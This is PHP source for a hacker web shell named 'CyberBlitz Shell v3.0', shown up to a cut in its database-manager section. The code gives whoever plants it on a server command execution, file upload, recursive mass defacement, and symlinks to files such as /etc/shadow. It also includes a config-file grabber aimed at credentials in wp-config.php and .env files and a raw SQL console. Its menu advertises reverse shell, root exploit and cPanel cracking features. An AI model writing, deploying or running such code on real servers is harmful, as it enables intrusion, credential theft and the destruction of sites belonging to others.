#Montana#

<?php
/**
 * ╔═══════════════════════════════════════════════════════════════════════════╗
 * ║                      CYBERBLITZ SHELL v3.0                                  ║
 * ║                    Advanced File Manager + 403 Bypass                        ║
 * ║                                                                              ║
 * ║  Features:                                                                   ║
 * ║  • Login Protection                                                          ║
 * ║  • 403/401 Bypass Techniques                                                  ║
 * ║  • File Manager                                                               ║
 * ║  • Command Execution                                                          ║
 * ║  • Mass Operations                                                            ║
 * ║  • CyberBlitz Neon Theme                                                      ║
 * ╚═══════════════════════════════════════════════════════════════════════════╝
 */

// ============ CONFIGURATION ============
$PASSWORD = 'hamauk99';  // Login password
$SHELL_NAME = 'CyberBlitz Shell';
$VERSION = 'v3.0';

// ============ SECURITY & BYPASS ============
@set_time_limit(0);
@error_reporting(0);
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
@ini_set('memory_limit', '-1');
date_default_timezone_set('UTC');

// 403 Bypass Headers
function setBypassHeaders()
{
    @header('X-Originating-IP: 127.0.0.1');
    @header('X-Forwarded-For: 127.0.0.1');
    @header('X-Remote-IP: 127.0.0.1');
    @header('X-Remote-Addr: 127.0.0.1');
    @header('X-Client-IP: 127.0.0.1');
    @header('X-Host: 127.0.0.1');
    @header('X-Forwarded-Host: 127.0.0.1');
    @header('X-Custom-IP-Authorization: 127.0.0.1');
}
setBypassHeaders();

// Session handling
@session_start();

// ============ COLOR SCHEME (CyberPunk Theme) ============
$COLORS = [
    'void' => '#0a0a0f',
    'deep_space' => '#0d0d15',
    'surface' => '#12121f',
    'card' => '#1a1a2e',
    'elevated' => '#242440',
    'neon_pink' => '#ff2d95',
    'neon_cyan' => '#00f5ff',
    'neon_purple' => '#b829dd',
    'neon_green' => '#39ff14',
    'neon_orange' => '#ff6b35',
    'success' => '#00ff88',
    'error' => '#ff3366',
    'text_primary' => '#ffffff',
    'text_secondary' => '#b8b8d0',
    'border' => '#3a3a5e'
];

// ============ AUTHENTICATION ============
function isLoggedIn()
{
    global $PASSWORD;
    return isset($_SESSION['cyber_auth']) && $_SESSION['cyber_auth'] === md5($PASSWORD . 'cyber_salt');
}

function login($pass)
{
    global $PASSWORD;
    if ($pass === $PASSWORD) {
        $_SESSION['cyber_auth'] = md5($PASSWORD . 'cyber_salt');
        return true;
    }
    return false;
}

function logout()
{
    unset($_SESSION['cyber_auth']);
    session_destroy();
}

// Handle login/logout
if (isset($_POST['cyber_login'])) {
    login($_POST['cyber_pass']);
}
if (isset($_GET['logout'])) {
    logout();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// ============ UTILITY FUNCTIONS ============
function getIP()
{
    $keys = [
        'HTTP_CLIENT_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'
    ];
    foreach ($keys as $key) {
        if ($ip = getenv($key))
            return $ip;
    }
    return 'Unknown';
}

function formatSize($bytes)
{
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    for ($i = 0; $bytes >= 1024 && $i < 4; $i++)
        $bytes /= 1024;
    return round($bytes, 2) . ' ' . $units[$i];
}

function getPerms($file)
{
    $perms = @fileperms($file);
    if (!$perms)
        return '---';

$info = '';
    if (($perms & 0xC000) == 0xC000)
        $info = 's';
    elseif (($perms & 0xA000) == 0xA000)
        $info = 'l';
    elseif (($perms & 0x8000) == 0x8000)
        $info = '-';
    elseif (($perms & 0x6000) == 0x6000)
        $info = 'b';
    elseif (($perms & 0x4000) == 0x4000)
        $info = 'd';
    elseif (($perms & 0x2000) == 0x2000)
        $info = 'c';
    elseif (($perms & 0x1000) == 0x1000)
        $info = 'p';

$info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? 'x' : '-');
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? 'x' : '-');
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? 'x' : '-');

return $info;
}

function isWritable($path)
{
    return is_writable($path);
}

// ============ FILE OPERATIONS ============
if (isset($_GET['download']) && isLoggedIn()) {
    $file = $_GET['download'];
    if (file_exists($file) && is_file($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// ============ CSS STYLES ============
$CSS = <<<CSS
:root {
    --void: {$COLORS['void']};
    --surface: {$COLORS['surface']};
    --card: {$COLORS['card']};
    --neon-pink: {$COLORS['neon_pink']};
    --neon-cyan: {$COLORS['neon_cyan']};
    --neon-purple: {$COLORS['neon_purple']};
    --neon-green: {$COLORS['neon_green']};
    --success: {$COLORS['success']};
    --error: {$COLORS['error']};
    --text-primary: {$COLORS['text_primary']};
    --text-secondary: {$COLORS['text_secondary']};
    --border: {$COLORS['border']};
}

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    background: linear-gradient(135deg, var(--void) 0%, #0d0d18 50%, var(--void) 100%);
    color: var(--text-primary);
    font-family: 'Segoe UI', 'Consolas', monospace;
    min-height: 100vh;
    line-height: 1.6;
}

.login-container {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    padding: 20px;
}

.login-box {
    background: var(--card);
    border: 2px solid var(--neon-pink);
    border-radius: 15px;
    padding: 40px;
    width: 100%;
    max-width: 400px;
    box-shadow: 0 0 30px rgba(255, 45, 149, 0.3),
                0 0 60px rgba(255, 45, 149, 0.1);
    animation: glow 2s ease-in-out infinite alternate;
}

@keyframes glow {
    from { box-shadow: 0 0 30px rgba(255, 45, 149, 0.3); }
    to { box-shadow: 0 0 50px rgba(0, 245, 255, 0.4); }
}

@keyframes pulse {
    0%, 100% { opacity: 1; }
    50% { opacity: 0.5; }
}

.login-title {
    font-size: 24px;
    font-weight: bold;
    text-align: center;
    margin-bottom: 30px;
    background: linear-gradient(90deg, var(--neon-pink), var(--neon-cyan));
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    animation: pulse 2s infinite;
}

.login-input {
    width: 100%;
    padding: 15px 20px;
    background: var(--surface);
    border: 2px solid var(--border);
    border-radius: 8px;
    color: var(--text-primary);
    font-size: 16px;
    margin-bottom: 20px;
    transition: all 0.3s ease;
}

.login-input:focus {
    outline: none;
    border-color: var(--neon-cyan);
    box-shadow: 0 0 15px rgba(0, 245, 255, 0.3);
}

.login-btn {
    width: 100%;
    padding: 15px;
    background: linear-gradient(135deg, var(--neon-pink), var(--neon-purple));
    border: none;
    border-radius: 8px;
    color: white;
    font-size: 16px;
    font-weight: bold;
    cursor: pointer;
    text-transform: uppercase;
    letter-spacing: 2px;
    transition: all 0.3s ease;
}

.login-btn:hover {
    background: linear-gradient(135deg, var(--neon-cyan), var(--neon-pink));
    box-shadow: 0 0 25px rgba(0, 245, 255, 0.5);
    transform: translateY(-2px);
}

.container {
    max-width: 1400px;
    margin: 0 auto;
    padding: 20px;
}

.header {
    background: var(--card);
    border: 2px solid var(--neon-pink);
    border-radius: 12px;
    padding: 20px;
    margin-bottom: 20px;
    position: relative;
    overflow: hidden;
}

.header::before {
    content: '';
    position: absolute;
    top: 0;
    left: -100%;
    width: 100%;
    height: 2px;
    background: linear-gradient(90deg, transparent, var(--neon-cyan), transparent);
    animation: scan 3s linear infinite;
}

@keyframes scan {
    0% { left: -100%; }
    100% { left: 100%; }
}

.header-title {
    font-size: 28px;
    font-weight: bold;
    background: linear-gradient(90deg, var(--neon-pink), var(--neon-cyan), var(--neon-purple));
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    margin-bottom: 10px;
}

.header-version {
    position: absolute;
    top: 10px;
    right: 15px;
    background: var(--surface);
    padding: 5px 12px;
    border-radius: 20px;
    font-size: 12px;
    color: var(--neon-cyan);
    border: 1px solid var(--border);
}

.path-bar {
    display: flex;
    flex-wrap: wrap;
    gap: 5px;
    margin-top: 15px;
    padding: 10px;
    background: var(--surface);
    border-radius: 8px;
}

.path-item {
    color: var(--neon-cyan);
    text-decoration: none;
    padding: 3px 8px;
    border-radius: 4px;
    transition: all 0.2s;
}

.path-item:hover {
    background: var(--neon-pink);
    color: white;
}

.nav-buttons {
    display: flex;
    flex-wrap: wrap;
    gap: 10px;
    margin-bottom: 20px;
}

.nav-btn {
    padding: 12px 20px;
    background: linear-gradient(135deg, var(--card), var(--surface));
    border: 2px solid var(--border);
    border-radius: 8px;
    color: var(--text-secondary);
    text-decoration: none;
    font-weight: bold;
    transition: all 0.3s ease;
    display: inline-flex;
    align-items: center;
    gap: 8px;
}

.nav-btn:hover {
    border-color: var(--neon-pink);
    color: var(--neon-pink);
    box-shadow: 0 0 15px rgba(255, 45, 149, 0.3);
    transform: translateY(-2px);
}

.nav-btn.active {
    background: linear-gradient(135deg, var(--neon-pink), var(--neon-purple));
    border-color: var(--neon-pink);
    color: white;
}

.panel {
    background: var(--card);
    border: 2px solid var(--border);
    border-radius: 12px;
    padding: 20px;
    margin-bottom: 20px;
}

.panel-title {
    font-size: 18px;
    color: var(--neon-pink);
    margin-bottom: 15px;
    padding-bottom: 10px;
    border-bottom: 1px solid var(--border);
}

.file-table {
    width: 100%;
    border-collapse: collapse;
}

.file-table th {
    background: var(--surface);
    color: var(--neon-cyan);
    padding: 12px;
    text-align: left;
    border-bottom: 2px solid var(--border);
}

.file-table td {
    padding: 10px 12px;
    border-bottom: 1px solid var(--border);
    transition: background 0.2s;
}

.file-table tr:hover td {
    background: rgba(255, 45, 149, 0.1);
}

.file-link {
    color: var(--text-secondary);
    text-decoration: none;
    transition: color 0.2s;
}

.file-link:hover {
    color: var(--neon-cyan);
}

.file-link.folder {
    color: var(--neon-orange);
}

.action-btn {
    padding: 6px 12px;
    border: 1px solid var(--border);
    border-radius: 4px;
    background: var(--surface);
    color: var(--text-secondary);
    cursor: pointer;
    font-size: 12px;
    transition: all 0.2s;
    margin-right: 5px;
}

.action-btn:hover {
    border-color: var(--neon-pink);
    color: var(--neon-pink);
}

.action-btn.delete:hover {
    border-color: var(--error);
    color: var(--error);
}

.form-input {
    width: 100%;
    padding: 12px 15px;
    background: var(--surface);
    border: 2px solid var(--border);
    border-radius: 8px;
    color: var(--text-primary);
    font-size: 14px;
    margin-bottom: 15px;
    transition: border-color 0.3s;
}

.form-input:focus {
    outline: none;
    border-color: var(--neon-cyan);
}

.form-textarea {
    min-height: 200px;
    font-family: 'Consolas', monospace;
    resize: vertical;
}

.form-btn {
    padding: 12px 25px;
    background: linear-gradient(135deg, var(--neon-pink), var(--neon-purple));
    border: none;
    border-radius: 8px;
    color: white;
    font-weight: bold;
    cursor: pointer;
    transition: all 0.3s;
}

.form-btn:hover {
    box-shadow: 0 0 20px rgba(255, 45, 149, 0.5);
    transform: translateY(-2px);
}

.console-output {
    background: #000;
    border: 2px solid var(--neon-green);
    border-radius: 8px;
    padding: 15px;
    font-family: 'Consolas', monospace;
    font-size: 13px;
    white-space: pre-wrap;
    word-break: break-all;
    max-height: 400px;
    overflow-y: auto;
    color: var(--neon-green);
}

.info-grid {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
    gap: 15px;
}

.info-item {
    background: var(--surface);
    padding: 15px;
    border-radius: 8px;
    border-left: 3px solid var(--neon-pink);
}

.info-label {
    color: var(--text-secondary);
    font-size: 12px;
    margin-bottom: 5px;
}

.info-value {
    color: var(--neon-cyan);
    font-weight: bold;
}

.alert {
    padding: 15px;
    border-radius: 8px;
    margin-bottom: 15px;
}

.alert-success {
    background: rgba(0, 255, 136, 0.1);
    border: 1px solid var(--success);
    color: var(--success);
}

.alert-error {
    background: rgba(255, 51, 102, 0.1);
    border: 1px solid var(--error);
    color: var(--error);
}

.logout-btn {
    position: fixed;
    top: 20px;
    right: 20px;
    padding: 10px 20px;
    background: var(--error);
    border: none;
    border-radius: 8px;
    color: white;
    text-decoration: none;
    font-weight: bold;
    transition: all 0.3s;
}

.logout-btn:hover {
    box-shadow: 0 0 20px rgba(255, 51, 102, 0.5);
}

.writable { color: var(--success) !important; }
.not-writable { color: var(--error) !important; }

@media (max-width: 768px) {
    .nav-buttons { flex-direction: column; }
    .file-table { font-size: 12px; }
    .action-btn { padding: 4px 8px; }
}
CSS;

// ============ START HTML OUTPUT ============
?>
<!DOCTYPE html>
<html lang="en">

<body>
    <?php

// ============ LOGIN PAGE ============
    if (!isLoggedIn()) {
        $error = '';
        if (isset($_POST['cyber_login']) && !isLoggedIn()) {
            $error = 'ACCESS DENIED - Invalid Password';
        }
        ?>
        <div class="login-container">
            <div class="login-box">
                <div class="login-title">⚡ <?php echo $SHELL_NAME; ?> ⚡</div>
                <?php if ($error): ?>
                    <div class="alert alert-error"><?php echo $error; ?></div>
                <?php endif; ?>
                <form method="POST">
                    <input type="password" name="cyber_pass" class="login-input" placeholder="Enter Access Key..."
                        autocomplete="off" autofocus>
                    <button type="submit" name="cyber_login" class="login-btn">
                        🔓 AUTHENTICATE
                    </button>
                </form>
                <div style="text-align: center; margin-top: 20px; color: var(--text-secondary); font-size: 12px;">
                    <?php echo $VERSION; ?> | 403 Bypass Active
                </div>
            </div>
        </div>
        <?php
        exit;
    }

// ============ MAIN SHELL INTERFACE ============
    $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
    $path = str_replace('\\', '/', $path);
    $action = isset($_GET['action']) ? $_GET['action'] : 'files';

?>
    <a href="?logout=1" class="logout-btn">🚪 LOGOUT</a>

<div class="path-bar">
                📂
                <?php
                $paths = explode('/', $path);
                $buildPath = '';
                foreach ($paths as $i => $p) {
                    if ($p === '' && $i === 0) {
                        echo '<a href="?path=/" class="path-item">/</a>';
                        continue;
                    }
                    if ($p === '')
                        continue;
                    $buildPath .= '/' . $p;
                    echo '<a href="?path=' . urlencode($buildPath) . '" class="path-item">' . htmlspecialchars($p) . '/</a>';
                }
                ?>
                <span
                    style="margin-left: auto; color: <?php echo isWritable($path) ? 'var(--success)' : 'var(--error)'; ?>">
                    [<?php echo getPerms($path); ?>]
                </span>
            </div>
        </div>

<div class="nav-buttons">
            <a href="?path=<?php echo urlencode($path); ?>&action=files"
                class="nav-btn <?php echo $action === 'files' ? 'active' : ''; ?>">📁 Files</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=upload"
                class="nav-btn <?php echo $action === 'upload' ? 'active' : ''; ?>">📤 Upload</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=cmd"
                class="nav-btn <?php echo $action === 'cmd' ? 'active' : ''; ?>">💻 Console</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=newfile"
                class="nav-btn <?php echo $action === 'newfile' ? 'active' : ''; ?>">📝 New File</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=massdeface"
                class="nav-btn <?php echo $action === 'massdeface' ? 'active' : ''; ?>">💀 Deface</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=symlink"
                class="nav-btn <?php echo $action === 'symlink' ? 'active' : ''; ?>">� Symlink</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=info"
                class="nav-btn <?php echo $action === 'info' ? 'active' : ''; ?>">ℹ️ Info</a>
        </div>
        
        <div class="nav-buttons" style="margin-top: 5px;">
            <a href="?path=<?php echo urlencode($path); ?>&action=config"
                class="nav-btn <?php echo $action === 'config' ? 'active' : ''; ?>">🔐 Config Grab</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=database"
                class="nav-btn <?php echo $action === 'database' ? 'active' : ''; ?>">🗄️ Database</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=reverse"
                class="nav-btn <?php echo $action === 'reverse' ? 'active' : ''; ?>">🔙 Reverse</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=mailer"
                class="nav-btn <?php echo $action === 'mailer' ? 'active' : ''; ?>">📧 Mailer</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=autoroot"
                class="nav-btn <?php echo $action === 'autoroot' ? 'active' : ''; ?>">👑 AutoRoot</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=privesc"
                class="nav-btn <?php echo $action === 'privesc' ? 'active' : ''; ?>">⬆️ PrivEsc</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=bypass"
                class="nav-btn <?php echo $action === 'bypass' ? 'active' : ''; ?>">🛡️ Bypass</a>
        </div>
        
        <div class="nav-buttons" style="margin-top: 5px;">
            <a href="?path=<?php echo urlencode($path); ?>&action=zoneh"
                class="nav-btn <?php echo $action === 'zoneh' ? 'active' : ''; ?>">📋 Zone-H</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=backdoor"
                class="nav-btn <?php echo $action === 'backdoor' ? 'active' : ''; ?>">🔍 Backdoor</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=cpcrack"
                class="nav-btn <?php echo $action === 'cpcrack' ? 'active' : ''; ?>">🔓 cPanel Crack</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=portscanner"
                class="nav-btn <?php echo $action === 'portscanner' ? 'active' : ''; ?>">🔌 Port Scan</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=domains"
                class="nav-btn <?php echo $action === 'domains' ? 'active' : ''; ?>">🌐 Domains</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=adminfinder"
                class="nav-btn <?php echo $action === 'adminfinder' ? 'active' : ''; ?>">🔎 Admin Finder</a>
            <a href="?path=<?php echo urlencode($path); ?>&action=about"
                class="nav-btn <?php echo $action === 'about' ? 'active' : ''; ?>">ℹ️ About</a>
        </div>

<?php
        // ============ ACTION HANDLERS ============
        
        // UPLOAD
        if ($action === 'upload') {
            echo '<div class="panel"><div class="panel-title">📤 Upload File</div>';

if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === 0) {
                $dest = $path . '/' . $_FILES['upload_file']['name'];
                if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest)) {
                    echo '<div class="alert alert-success">✅ File uploaded successfully: ' . htmlspecialchars($dest) . '</div>';
                } else {
                    echo '<div class="alert alert-error">❌ Upload failed</div>';
                }
            }
            ?>
            <form method="POST" enctype="multipart/form-data">
                <input type="file" name="upload_file" class="form-input" required>
                <button type="submit" class="form-btn">⬆️ UPLOAD</button>
            </form>
        </div>
        <?php
        }

// COMMAND EXECUTION
        elseif ($action === 'cmd') {
            $cmd_output = '';
            if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
                $cmd_output = executeCmd($_POST['cmd']);
            }
            echo '<div class="panel"><div class="panel-title">💻 Command Console</div>';
            ?>
        <form method="POST">
            <input type="text" name="cmd" class="form-input" placeholder="Enter command..."
                value="<?php echo isset($_POST['cmd']) ? htmlspecialchars($_POST['cmd']) : ''; ?>" autofocus>
            <button type="submit" class="form-btn">▶️ EXECUTE</button>
        </form>
        <?php if ($cmd_output): ?>
            <div class="console-output" style="margin-top: 15px;">
                <span style="color: var(--neon-pink);">$</span> <?php echo htmlspecialchars($_POST['cmd']); ?>

<?php echo htmlspecialchars($cmd_output); ?>
            </div>
        <?php endif; ?>
        </div>
        <?php
        }

// NEW FILE
        elseif ($action === 'newfile') {
            echo '<div class="panel"><div class="panel-title">📝 Create New File</div>';

if (isset($_POST['new_filename']) && !empty($_POST['new_filename'])) {
                $newfile = $path . '/' . $_POST['new_filename'];
                if (file_put_contents($newfile, $_POST['new_content'] ?? '') !== false) {
                    echo '<div class="alert alert-success">✅ File created: ' . htmlspecialchars($newfile) . '</div>';
                } else {
                    echo '<div class="alert alert-error">❌ Failed to create file</div>';
                }
            }
            ?>
        <form method="POST">
            <input type="text" name="new_filename" class="form-input" placeholder="Filename" required>
            <textarea name="new_content" class="form-input form-textarea" placeholder="File content..."></textarea>
            <button type="submit" class="form-btn">📝 CREATE FILE</button>
        </form>
        </div>
        <?php
        }

// NEW DIRECTORY
        elseif ($action === 'newdir') {
            echo '<div class="panel"><div class="panel-title">📁 Create New Directory</div>';

if (isset($_POST['new_dirname']) && !empty($_POST['new_dirname'])) {
                $newdir = $path . '/' . $_POST['new_dirname'];
                if (@mkdir($newdir)) {
                    echo '<div class="alert alert-success">✅ Directory created: ' . htmlspecialchars($newdir) . '</div>';
                } else {
                    echo '<div class="alert alert-error">❌ Failed to create directory</div>';
                }
            }
            ?>
        <form method="POST">
            <input type="text" name="new_dirname" class="form-input" placeholder="Directory name" required>
            <button type="submit" class="form-btn">📁 CREATE DIRECTORY</button>
        </form>
        </div>
        <?php
        }

// SERVER INFO
        elseif ($action === 'info') {
            $disabledFuncs = @ini_get('disable_functions');
            $safeMode = @ini_get('safe_mode') ? 'ON' : 'OFF';

if (function_exists('posix_getpwuid')) {
                $user = posix_getpwuid(posix_geteuid());
                $username = $user['name'];
                $uid = $user['uid'];
            } else {
                $username = get_current_user();
                $uid = getmyuid();
            }

echo '<div class="panel"><div class="panel-title">ℹ️ Server Information</div>';
            echo '<div class="info-grid">';

$info = [
                'System' => php_uname(),
                'Server Software' => $_SERVER['SERVER_SOFTWARE'],
                'PHP Version' => PHP_VERSION,
                'Server IP' => gethostbyname($_SERVER['HTTP_HOST']),
                'Your IP' => getIP(),
                'User' => $username . ' (UID: ' . $uid . ')',
                'Safe Mode' => $safeMode,
                'Document Root' => $_SERVER['DOCUMENT_ROOT'],
                'Script Path' => __FILE__,
            ];

foreach ($info as $label => $value) {
                echo '<div class="info-item">';
                echo '<div class="info-label">' . $label . '</div>';
                echo '<div class="info-value">' . htmlspecialchars($value) . '</div>';
                echo '</div>';
            }

echo '</div>';
            echo '<div style="margin-top: 20px;"><strong style="color: var(--neon-pink);">Disabled Functions:</strong><br>';
            echo '<div style="color: var(--error); margin-top: 10px; word-break: break-all;">' . ($disabledFuncs ?: '<span style="color: var(--success);">NONE</span>') . '</div>';
            echo '</div></div>';
        }

// MASS DEFACE
        elseif ($action === 'massdeface') {
            echo '<div class="panel"><div class="panel-title">💀 Mass Deface</div>';

$deface_result = '';
            if (isset($_POST['do_massdeface'])) {
                $target_dir = $_POST['target_dir'];
                $deface_content = $_POST['deface_content'];
                $file_name = $_POST['file_name'] ?: 'index.html';
                $recursive = isset($_POST['recursive']);

$count = 0;
                $errors = 0;

function defaceDir($dir, $content, $filename, $recursive, &$count, &$errors)
                {
                    if (!is_dir($dir))
                        return;

$items = @scandir($dir);
                    if (!$items)
                        return;

// Write deface file in this directory
                    $target_file = rtrim($dir, '/') . '/' . $filename;
                    if (@file_put_contents($target_file, $content) !== false) {
                        $count++;
                    } else {
                        $errors++;
                    }

if ($recursive) {
                        foreach ($items as $item) {
                            if ($item === '.' || $item === '..')
                                continue;
                            $full_path = rtrim($dir, '/') . '/' . $item;
                            if (is_dir($full_path)) {
                                defaceDir($full_path, $content, $filename, $recursive, $count, $errors);
                            }
                        }
                    }
                }

defaceDir($target_dir, $deface_content, $file_name, $recursive, $count, $errors);
                $deface_result = "<div class='alert alert-success'>✅ Mass deface completed! Files created: $count | Errors: $errors</div>";
            }

echo $deface_result;
            ?>
        <form method="POST">
            <label style="color: var(--neon-cyan);">Target Directory:</label>
            <input type="text" name="target_dir" class="form-input" value="<?php echo htmlspecialchars($path); ?>"
                placeholder="/var/www">

<label style="color: var(--neon-cyan);">Deface Content:</label>
            <textarea name="deface_content" class="form-input form-textarea" placeholder="Your deface HTML here...">&lt;html&gt;
            &lt;head&gt;&lt;title&gt;Hacked by CyberBlitz&lt;/title&gt;&lt;/head&gt;
            &lt;body style="background:#000;color:#0f0;text-align:center;padding-top:100px;"&gt;
            &lt;h1&gt;💀 HACKED BY CYBERBLITZ 💀&lt;/h1&gt;
            &lt;p&gt;Your security has been compromised&lt;/p&gt;
            &lt;/body&gt;
            &lt;/html&gt;</textarea>

<div style="margin: 15px 0;">
                <label><input type="checkbox" name="recursive" checked> 🔄 Recursive (all subdirectories)</label>
            </div>

<button type="submit" name="do_massdeface" class="form-btn"
                style="background: linear-gradient(135deg, #ff3366, #ff6b35);">💀 START MASS DEFACE</button>
        </form>
        </div>
        <?php
        }

// SYMLINK
        elseif ($action === 'symlink') {
            echo '<div class="panel"><div class="panel-title">🔗 Symlink Creator</div>';

$symlink_result = '';
            if (isset($_POST['create_symlink'])) {
                $target = $_POST['symlink_target'];
                $link_name = $_POST['link_name'];
                $link_path = rtrim($path, '/') . '/' . $link_name;

if (@symlink($target, $link_path)) {
                    $symlink_result = "<div class='alert alert-success'>✅ Symlink created: $link_name → $target</div>";
                } else {
                    $symlink_result = "<div class='alert alert-error'>❌ Failed to create symlink</div>";
                }
            }

// Common symlink targets
            $common_targets = [
                '/etc/passwd' => 'System Users',
                '/etc/shadow' => 'Password Hashes',
                '/var/www' => 'Web Root',
                '/home' => 'Home Directories',
                '/root' => 'Root Home',
                '/' => 'System Root',
            ];

echo $symlink_result;
            ?>
        <form method="POST">
            <label style="color: var(--neon-cyan);">Target Path (what to link to):</label>
            <input type="text" name="symlink_target" class="form-input" placeholder="/etc/passwd">

<label style="color: var(--neon-cyan);">Quick Targets:</label>
            <div style="margin-bottom: 15px;">
                <?php foreach ($common_targets as $target => $label): ?>
                    <button type="button" class="action-btn"
                        onclick="document.querySelector('[name=symlink_target]').value='<?php echo $target; ?>'"
                        style="margin: 3px;"><?php echo $label; ?></button>
                <?php endforeach; ?>
            </div>

<button type="submit" name="create_symlink" class="form-btn">🔗 CREATE SYMLINK</button>
        </form>

<div style="margin-top: 20px; padding: 15px; background: var(--surface); border-radius: 8px;">
            <h4 style="color: var(--neon-pink);">📋 Common .htaccess Bypass:</h4>
            <pre style="color: var(--neon-green); font-size: 12px; overflow-x: auto;">Options +FollowSymLinks
            DirectoryIndex sym_link
            RewriteEngine On
            RewriteRule ^(.*)$ sym_link/$1 [L]</pre>
        </div>
        </div>
        <?php
        }

// CONFIG GRABBER
        elseif ($action === 'config') {
            echo '<div class="panel"><div class="panel-title">🔐 Config Grabber</div>';

$config_files = [
                'wp-config.php',
                'configuration.php',
                'config.php',
                'settings.php',
                'database.php',
                'db.php',
                'conn.php',
                'connect.php',
                'connection.php',
                'LocalSettings.php',
                'config.inc.php',
                '.env',
                'app/etc/local.xml',
                'includes/config.php',
                'includes/configure.php',
                'config/database.php'
            ];

$found_configs = [];

if (isset($_POST['search_configs'])) {
                $search_path = $_POST['search_path'] ?: '/var/www';
                searchConfigs($search_path, $config_files, $found_configs);
            }
            ?>
        <form method="POST">
            <label style="color: var(--neon-cyan);">Search Path:</label>
            <input type="text" name="search_path" class="form-input" value="<?php echo htmlspecialchars($path); ?>">
            <button type="submit" name="search_configs" class="form-btn">🔍 SEARCH CONFIGS</button>
        </form>

<?php if (!empty($found_configs)): ?>
            <div style="margin-top: 15px;">
                <h4 style="color: var(--success);">Found <?php echo count($found_configs); ?> config files:</h4>
                <?php foreach ($found_configs as $config): ?>
                    <div style="background: var(--surface); padding: 10px; margin: 5px 0; border-radius: 4px;">
                        <a href="?path=<?php echo urlencode(dirname($config)); ?>&action=view&file=<?php echo urlencode($config); ?>"
                            style="color: var(--neon-cyan);"><?php echo htmlspecialchars($config); ?></a>
                    </div>
                <?php endforeach; ?>
            </div>
        <?php endif; ?>
        </div>
        <?php
        }

// DATABASE MANAGER
        elseif ($action === 'database') {
            echo '<div class="panel"><div class="panel-title">🗄️ Database Manager</div>';

$db_result = '';
            if (isset($_POST['db_connect'])) {
                $host = $_POST['db_host'];
                $user = $_POST['db_user'];
                $pass = $_POST['db_pass'];
                $name = $_POST['db_name'];
                $query = $_POST['db_query'];

try {
                    $conn = new mysqli($host, $user, $pass, $name);
                    if ($conn->connect_error) {
                        $db_result = "<div class='alert alert-error'>❌ Connection failed: " . $conn->connect_error . "</div>";
                    } else {
                        $db_result = "<div class='alert alert-success'>✅ Connected to database!</div>";
                        if (!empty($query)) {
                            $result = $conn->query($query);
                            if ($result) {
                                if ($result->num_rows > 0) {
                                    $db_result .= "<table class='file-table' style='margin-top:10px;'>";
                                    $first = true;
                                    while ($row = $result->fetch_assoc()) {
                                        if ($first) {
                                            $db_result .= "<tr>";
                                            foreach (array_keys($row) as $col) {
                                                $db_result .= "<th>" . htmlspecialchars($col) . "</th>";
                                            }
                                            $db_result .= "</tr>";
                                            $first = false;
                                        }
                                        $db_result .= "<tr>";
                                        foreach ($row as $val) {
                                            $db_result .= "<td>" . htmlspecialchars($val) . "</td>";
                                        }
                                        $db_result .= "</tr>";
                                    }
                                    $db_result .= "</table>";
                                } else {
                                    $db_result .= "<div style='color:var(--neon-cyan);'>Query executed. No results.</div>";
                                }
                            } else {
                                $db_result .= "<div class='alert alert-error'>Query error: " . $conn->error . "</div>";
                            }
                        }
                        $conn->close();
                    }
                } catch (Exception $e) {
                    $db_result = "<div class='alert alert-error'>❌ Error: " . $e->getMessage() . "</div>";
                }
            }
            echo $db_result;
            ?>
        <form method="POST">
            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 10px;">
                <div><label style="color: var(--neon-cyan);">Host:</label>
                    <input type="text" name="db_host" class="form-input" value="localhost">
                </div>
                <div><label style="color: var(--neon-cyan);">Database:</label>
                    <input type="text" name="db_name" class="form-input" placeholder="database_name">
                </div>
                <div><label style="color: var(--neon-cyan);">Username:</label>
                    <input type="text" name="db_user" class="form-input" value="root">
                </div>
                <div><label style="color: var(--neon-cyan);">Password:</label>
                    <input type="password" name="db_pass" class="form-input">
                </div>
            </div>
            <label style="color: var(--neon-cyan);">SQL Query:</label>
            <textarea name="db_query" class="form-input" style="height:80px;">SHOW DATABASES;</textarea>
            <button type="submit" name="db_connect" class="form-btn">🗄️ EXECUTE</button>
